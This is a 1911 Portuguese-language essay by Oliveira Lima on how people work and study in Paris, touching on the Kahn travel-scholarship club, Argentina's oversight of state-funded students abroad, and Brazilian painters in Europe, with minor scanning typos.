DE COMO SE TRABALHA EM PARIS

DE COMO SE TRABALHA EM PARIS

Oliveira Lima

O lado sério da vida de Paris escapa infelizmente a muitos que ali vão, não digo só dos da nossa nacionalidade, antes dos de qualquer nacionalidade. Récordo-me de um chileno, meu companheiro de viagem, a quem dava que fazer a alegria de Paris. Não há uma só pessoa triste nessa cidade — dizia-me êle absolutamente convencido: tudo é pândega. Pudera! Se o Paris que êle conhecia tinha por limites a praça da Ópera e a Place Pigalle, se êle nunca tinha entrado num hospital, se êle jamais havia visitado miseráveis e estropiados. O bom do homem estava sinceramente persuadido que o Moulin Rouge era a expressão exata da capital francesa.

Nos cabarets de Montmartre, onde dúzias de norte-americanos se embebedam fastidiosamente todas as noites e outras dúzias de sul-americanos só não conseguem igualá-los porque o vinho lhes bole

com as bílis trazidas d’além mar, o número de estrangeiros é sempre muito superior ao dos nacionais: o inverso acontece nos lugares menos folgazãos. Será porque os estrangeiros vão em larga escala divertir-se a Paris, ao passo que dos nacionais é forçosamente muito maior o número dos que têm de tomar a vida ao sério. Mesmo no bairro latino, onde o número dos estudantes de fora é tão crescido — nos últimos tempos a freqüência estrangeira tem diminuído consideravelmente nas Universidades alemãs em proveito da Universidade de Paris —, idêntica observação se impõe, e com tanto mais razão quanto no meio universitário parisiense mais estuda do que se diverte o geral da sua população escolar.

Ainda há quem sonhe ingenuamente, na província ou além das fronteiras, com o estudante clássico da “Vie de Bohême”. Este tipo desapareceu senão integralmente, pelo menos como espécie, e a compostura do estudante francês não difere em nada da do inglês ou do alemão. Tive ensejo de almoçar com recém-formados, que adrede convidaram os dois conferencistas norte-americanos, Finley e Schofield, e o conferencista brasileiro da Sorbonne, e posso dar testemunho pessoal de que a água-furtada de Rodolfo, Marcelo, Schaunard e Colime só existe presentemente nos endereços das companhias líricas.

O almoço a que me refiro teve lugar num clube de Boulogne, à beira do Sena, chamado “Au tour du Monde”. Doou-o com casa, jardim e mobília o Sr. Kahn, fundador das bolsas de viagem da Sorbonne que trouxeram ao Brasil o Sr. Pierre Denis, e constituem-no os beneficiados por tais bolsas, os quais deram portanto a volta ao mundo, demorando-se mais no país que escolheram para tema das suas observações e análises.

Como o Sr. Kahn não confinou à França a sua inteligente liberalidade e criou bolsas noutras terras, ou entre elas no Japão, a lista dos membros do clube é naturalmente cosmopolita, como cosmopolita era a assistência ao almoço e comospolita vai sendo a biblioteca especial organizada para recreio dos sócios. O cosmopolitismo é antes o laço que reúne esses moços viajados graças à generosa lembrança de um particular que sabe fazer uso da sua fortuna. Não é pequeno serviço, no que nos toca, haver a instituição tornado possível uma obra excelente como a do Sr. Pierre Denis, a qual acaba de ser editada em inglês na grande South-American Series de Fisher Unwin. Tão notável foi reputado o livro, que os editores se dispensaram de encomendar trabalho novo, limitando-se a mandar traduzir esse, do francês.

O “estudante” tem-se tornado em toda a parte um indivíduo mais sério, quase formalista, e se nalguns casos o resultado é puramente natural, efeito de uma evolução normal determinada pelas circunstâncias modificadas da vila, noutros a ingerência das auto-ridades tem sua parte de responsabilidade efetiva na transformação operada. 

Assim, tive a oportunidade em Paris de conhecer uma ótima instituição argentina, a do patronato dos estudantes, a qual confirmou minha suposição de que a Argentina é um país que cuida a sério da sua organização moral tanto quanto material. Todos os livros aliás que se lêem de impressões argentinas, em vez de se perderem em divagações literária*, dão informações precisas, sentindo-se que tiveram por tema alguma coisa de pelo menos economicamente organizado.

O patronato em questão denuncia uma sadia concepção dos deveres que incumbem ao Estado. Os jovens argentinos que vêm por conta própria estudar na Europa estão, é claro, no seu legítimo direito de proceder como entenderem: são absolutos senhores do seu tempo e dos seus atos. Seja dito de passagem que não fazem tão ruim uso desse tempo, pois que estão longe de ter a péssima fama que na Europa vão sem grave injustiça conquistando os estudantes brasileiros — salvo sempre, bem entendido, as honrosas exceções.

Os que vêm da Argentina por conta do Estado, supõe-se porém que devem a este obrigações que lhes não é lícito desprezarem.

Uma inspeção oficial, e uma inspeção que viaja, que aparece, que não é um mito, pesa sobre eles e intervém nos seus atos. Contou-me o Sr. de la Carcova, que exerce essas funções com atividade e discrição, ter uma vez proibido a um estudante subvencionado o residir em Bruxelas, quando se achava matriculado em Lovaina. A distância entre as duas cidades é de menos de meia hora por trem expresso e em rigor não haveria incompatibilidade entre a residência e o local dos estudos.

Bruxelas oferece, porém, seduções e prazeres que faltam a Lovaina, e o inspetor do Governo entendeu, e com acerto, que a preferência manifestada denotava um sentimento ou talvez um começo de sentimentos que era conveniente não favorecer. Entre nós sabe-se como essas coisas de ordinário se passam: cada qual faz o que quer, ninguém querendo meter-se a disciplinar. Também chegamos a verdadeiros absurdos.

Em Bruxelas a Propaganda do café, herdeira da dotação senão das glórias da defunta missão de todas as propagandas, continua com o antigo escritório, mas este escritório não mais se abre. Permanece fechado, com os stores corridos, porventura para deixar supor que lá dentro se vela o cadáver da organização ceifada pelo atual governo. O fato anormal deixa porém perplexo o transeunte, que a si mesmo pergunta se a propaganda brasileira, cuja tabuleta se ostenta em letras de ouro sobre fundo verde, deu resultados tão espantosos que já se não torna mais precisa, achando-se povoados nossos desertos e com mercados de sobra nossos produtos, ou sua exibição permanece para escarmento dos vindouros.

Não é Paris, ou Bruxelas, ou Liège que têm a culpa do relaxamento estudioso de muita da nosso mocidade em vilegiatura intelectual na Europa. Observei acima como em Paris se trabalha, e os que amam realmente o trabalho não perdem ali este costume. No

JORNALISMO I VIAGENS… / CARTAS DOS ESTADOS UNIDOS / I 39M

arquivo do Ministério dos Negócios Estrangeiros, onde eu costumava ir à tarde folhear papéis velhos — “levantar-lhes o pó”, como já m< imputou como pecha alguém que a este ato mecânico, inicial do sei trabalho, deve o mais seguro da sua reputação — custa a encontrar-se um lugaf* vazio.

Dos nossos pintores ali domiciliados, já uma vez falei como testemunhos de diligência. Agora mesmo via com freqüência Parreiras, que mandou para Turim seu magnífico painel triplo, expôs no Salon a “Dolorida” e vai levar para o Rio o seu “Estácio de Sá” justamente com uma interessante e viva defesa escrita da sua usua documentação histórica. Por seu lado, Lucílio de Albuquerque não só executou uma série de composições de bela inspiração, que foram reproduzidas em vitrais feitos, para o nosso pavilhão na Exposição Universal de Turim — a última representando a constelação do Cruzeiro por meio de um vôo no espaço de sílfides louras, em gracioso movimento, é um encanto — como trabalha num quadro, como êle os prefere, de intenção moral e fundamento filosófico, intitulado o “Paraíso Restituído”. Beijando o primeiro filho recém-nascido que Eva lhe representa, Adão, no transporte do amor paternal, crê recuperar o Paraíso que perdera.

Bruxelas, junho de 1911

Fonte: Oliveira Lima – Obra Seleta – Conselho Federal de Cultura, 1971.

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